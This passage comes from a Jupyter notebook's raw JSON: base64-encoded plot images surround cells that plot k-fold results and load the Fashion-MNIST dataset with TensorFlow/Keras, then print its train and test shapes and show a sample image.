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\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "kf.plot()" - ] - }, - { - "cell_type": "markdown", - "id": "cd1ebd7e", - "metadata": {}, - "source": [ - "# Multi-Classification Tensor Model" - ] - }, - { - "cell_type": "code", - "execution_count": 106, - "id": "64c09d91", - "metadata": {}, - "outputs": [], - "source": [ - "import tensorflow as tf\n", - "from tensorflow.keras.datasets import fashion_mnist\n", - "\n", - "# The data has already been sorted into train and test sets \n", - "(train_data, train_label), (test_data, test_label) = fashion_mnist.load_data()" - ] - }, - { - "cell_type": "code", - "execution_count": 107, - "id": "f7498541", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "((60000, 28, 28), (60000,))" - ] - }, - "execution_count": 107, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "train_data.shape,train_label.shape" - ] - }, - { - "cell_type": "code", - "execution_count": 108, - "id": "46435205", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "((10000, 28, 28), (10000,))" - ] - }, - "execution_count": 108, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "test_data.shape,test_label.shape" - ] - }, - { - "cell_type": "code", - "execution_count": 109, - "id": "1378d2ed", - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Label : 8\n" - ] - }, - { - "data": { - "image/png": "iVBORw0KGgoAAAANSUhEUgAAAPsAAAD4CAYAAAAq5pAIAAAAOXRFWHRTb2Z0d2FyZQBNYXRwbG90bGliIHZlcnNpb24zLjMuNCwgaHR0cHM6Ly9tYXRwbG90bGliLm9yZy8QVMy6AAAACXBIWXMAAAsTAAALEwEAmpwYAAATw0lEQVR4nO3df2xcVXYH8O/XY884sfPLCQnBOAQCZUkLm+2aAKWqoLQUUFug1VJQtU2rVYNUkHYlpBbRSou20pb+WLZbacs2lGhDy4JQWUpaRRQa0SK2URSDAklI2QDKLyeyCQmJHcc/xnP6h4fKBN9zzbz5Fe73I1m25/jNO/M8Z5495917aWYQkc+/lkYnICL1oWIXSYSKXSQRKnaRRKjYRRLRWs+d5VmwdnTUc5ciSRnFaYzbGGeKZSp2krcA+B6AHIB/NLNHvJ9vRweu4U1Zdikiju22NRir+M94kjkA3wdwK4DVAO4hubrS+xOR2sryP/taAO+a2ftmNg7gGQC3VyctEam2LMXeDeDQtO8Pl2/7BJLrSfaR7JvAWIbdiUgWWYp9pjcBPnXtrZltMLNeM+ttQyHD7kQkiyzFfhhAz7TvLwRwJFs6IlIrWYp9B4DLSF5MMg/gbgCbq5OWiFRbxa03MyuSvB/Af2Cq9bbRzPZULTMRqapMfXYz2wJgS5VyEZEa0uWyIolQsYskQsUukggVu0giVOwiiVCxiyRCxS6SCBW7SCJU7CKJULGLJELFLpIIFbtIIlTsIomo61TSMjO2+r8GKxYrvu+xW6924yNL/X0X5/j3v3jPqBvP958IxiYP+XOd2MS4v/MsOONsy9N2/vlb8FRndpFEqNhFEqFiF0mEil0kESp2kUSo2EUSoWIXSYT67HWQtY+eW7TIjb/79yvC933I3/elT4b74ABwpmeeG4+dLgZuXB6MnVoVjgFA96v+ccm/uMPfuXyCzuwiiVCxiyRCxS6SCBW7SCJU7CKJULGLJELFLpII9dnrwErZxkb3/94VbrzUXwrGVv3xNn/byL4LuyM/ELH4v8Mxu/c6d9vr/mK7G3/j2FVu3PrCyTOf97cdG3Pj56JMxU5yP4AhAJMAimbWW42kRKT6qnFmv9HMjlXhfkSkhvQ/u0gisha7AXiJ5Osk18/0AyTXk+wj2TeBz9//QSLniqx/xl9vZkdILgXwMsn/NbNXp/+AmW0AsAEA5rPr8zeLn8g5ItOZ3cyOlD8PAngewNpqJCUi1VdxsZPsIDnv468B3AwgY6NGRGoly5/xywA8z6n5t1sB/MjMXqxKVuea2BzkpclM25/u8bvhC/dG9p9h39HNczk37o3Vn79/wt32mZ/4ffhLC/57QO4ji1378DmcV77iYjez9wF8sYq5iEgNqfUmkggVu0giVOwiiVCxiyRCxS6SiHNriGtLuM3Tkm9zNy2N+22eKHPaXxnbMK3dF7jxuZee9LffuaDynTPb632W4bsDa/1hpm0f+fc93NPuxr1JsG0y0g6NibTmWgoFN27ecyZyTCtdylpndpFEqNhFEqFiF0mEil0kESp2kUSo2EUSoWIXSURz9dmdPjoAd6hoaTRj37SBiv1H3PjKRf5jOzEyv/Kdx4bf1tCZFf61D7lT/vNh4S5/uWn3kdX4cZdGR2t6/5XQmV0kESp2kUSo2EUSoWIXSYSKXSQRKnaRRKjYRRJR/z67Nw44Q++TV1/pxodXzHXjx6/we7rFjvAY43++++/cbb/oD9vGF/7tPjd+/g/81+STq8PxuYf949I66I+Vt4KffGn+HDfecnIkGPuZS4769/3weW782NVdbvz4H1wbjOVP+Mc0F5n+oHXYj1ukspbuOB2Mcdub/sYV0p